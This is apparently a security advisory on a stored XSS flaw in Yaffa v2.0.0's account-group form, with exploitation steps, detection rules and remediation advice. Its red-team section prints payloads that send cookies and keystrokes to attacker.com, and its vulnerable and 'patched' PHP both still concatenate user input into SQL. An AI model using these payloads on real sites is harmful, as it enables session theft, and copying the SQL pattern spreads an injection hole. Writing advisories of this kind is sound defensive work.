CVE-2025-70844

Executive Summary

CVE-2025-70844 is a stored Cross-Site Scripting (XSS) vulnerability discovered in Yaffa v2.0.0, specifically within the "Add Account Group" function on the account-group page. An authenticated attacker with low privileges can inject malicious JavaScript into the application, which is then stored and executed in the browsers of any user viewing the affected page. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 0.0 in the NVD but is assessed as medium severity based on the vector. No official patch is available, and no public exploit code has been released.

Supply Chain & Package Security

Yaffa is a custom web application framework. No NPM, PyPI, Go, or Ruby packages are directly associated with this CVE. The vulnerability exists in the application's own codebase, not in a third-party dependency.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / 5.4 (Assessed)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium

The vulnerability requires an authenticated attacker to inject the payload, and a victim to view the compromised page. The impact is limited to low confidentiality and integrity loss.

Deep Dive & Mechanics

The vulnerability resides in the account-group page of Yaffa v2.0.0. The "Add Account Group" function does not properly sanitize user input before storing it in the database. When the page is rendered, the stored input is included in the HTML without proper encoding, allowing an attacker to inject arbitrary HTML and JavaScript.

Root Cause: Lack of output encoding or input validation on the group_name parameter in the account group creation form.

Attack Flow:

1. Attacker authenticates to Yaffa v2.0.0.
2. Attacker navigates to the account-group page and uses the "Add Account Group" function.
3. Attacker submits a payload such as <script>alert('XSS')</script> in the group name field.
4. The payload is stored in the database.
5. When any user (including administrators) views the account-group page, the payload executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (Yaffa v2.0.0):

// account-group.php (simplified)
$group_name = $_POST['group_name'];
$sql = "INSERT INTO account_groups (name) VALUES ('$group_name')";
// ... execute query
// When rendering:
echo "<div class='group'>" . $group_name . "</div>";

Patched Code (Hypothetical):

// account-group.php (patched)
$group_name = htmlspecialchars($_POST['group_name'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO account_groups (name) VALUES ('$group_name')";
// ... execute query
// When rendering:
echo "<div class='group'>" . $group_name . "</div>";

The patch uses htmlspecialchars() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Yaffa v2.0.0 instance
• Valid low-privilege user credentials

Exploitation Steps:

1. Log in to Yaffa v2.0.0.
2. Navigate to the account-group page.
3. In the "Add Account Group" form, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the form.
5. Any user viewing the account-group page will have their cookies exfiltrated to the attacker's server.

Alternative Payloads:

• Session hijacking: <script>new Image().src='https://attacker.com/steal?cookie='+document.cookie</script>
• Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>

Blue Team

Detection:

• Monitor for unusual account group names containing <script>, <img>, or other HTML tags.
• Review web server logs for requests to the account-group page with suspicious parameters.
• Use the detection rules provided below.

Hunting:

• Search database for stored XSS patterns in the account_groups table.
• Check for outbound connections to unknown domains from the Yaffa server.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from the Yaffa server.
  • Suspicious Referer headers containing XSS payloads.
• Host:
  • Database entries in account_groups.name containing <script> tags.
  • Web server logs showing POST requests to /account-group.php with group_name containing HTML/JavaScript.
• File:
  • No file-based IOCs.

Detection Engineering

YARA Rule

rule yaffa_xss_account_group {
    meta:
        description = "Detects stored XSS payloads in Yaffa account group names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-70844"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*["']?[^"'\s>]+/i
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: Yaffa Stored XSS in Account Group
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS attempts in Yaffa account group creation
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/account-group.php'
        cs-uri-query|contains: 'group_name='
        cs-uri-query|re: '(<script|<img|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in group names (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"Yaffa Stored XSS - Account Group Injection";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/account-group.php"; http_uri;
    content:"group_name="; http_client_body;
    pcre:"/(<script|<img|onerror|onload)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-70844;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the account-group page if not critical to operations.
2. Implement input validation to reject HTML tags in group names.
3. Apply output encoding using htmlspecialchars() or equivalent.

Long-term Fix:

• Upgrade to a patched version of Yaffa once available.
• Conduct a full security audit of the application for similar vulnerabilities.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads.

Workaround:

• Manually sanitize the group_name parameter in the database or application code.

Valters IT

{/* [Security Hash: 9B3B82E2FD7A140514DA45DE] */}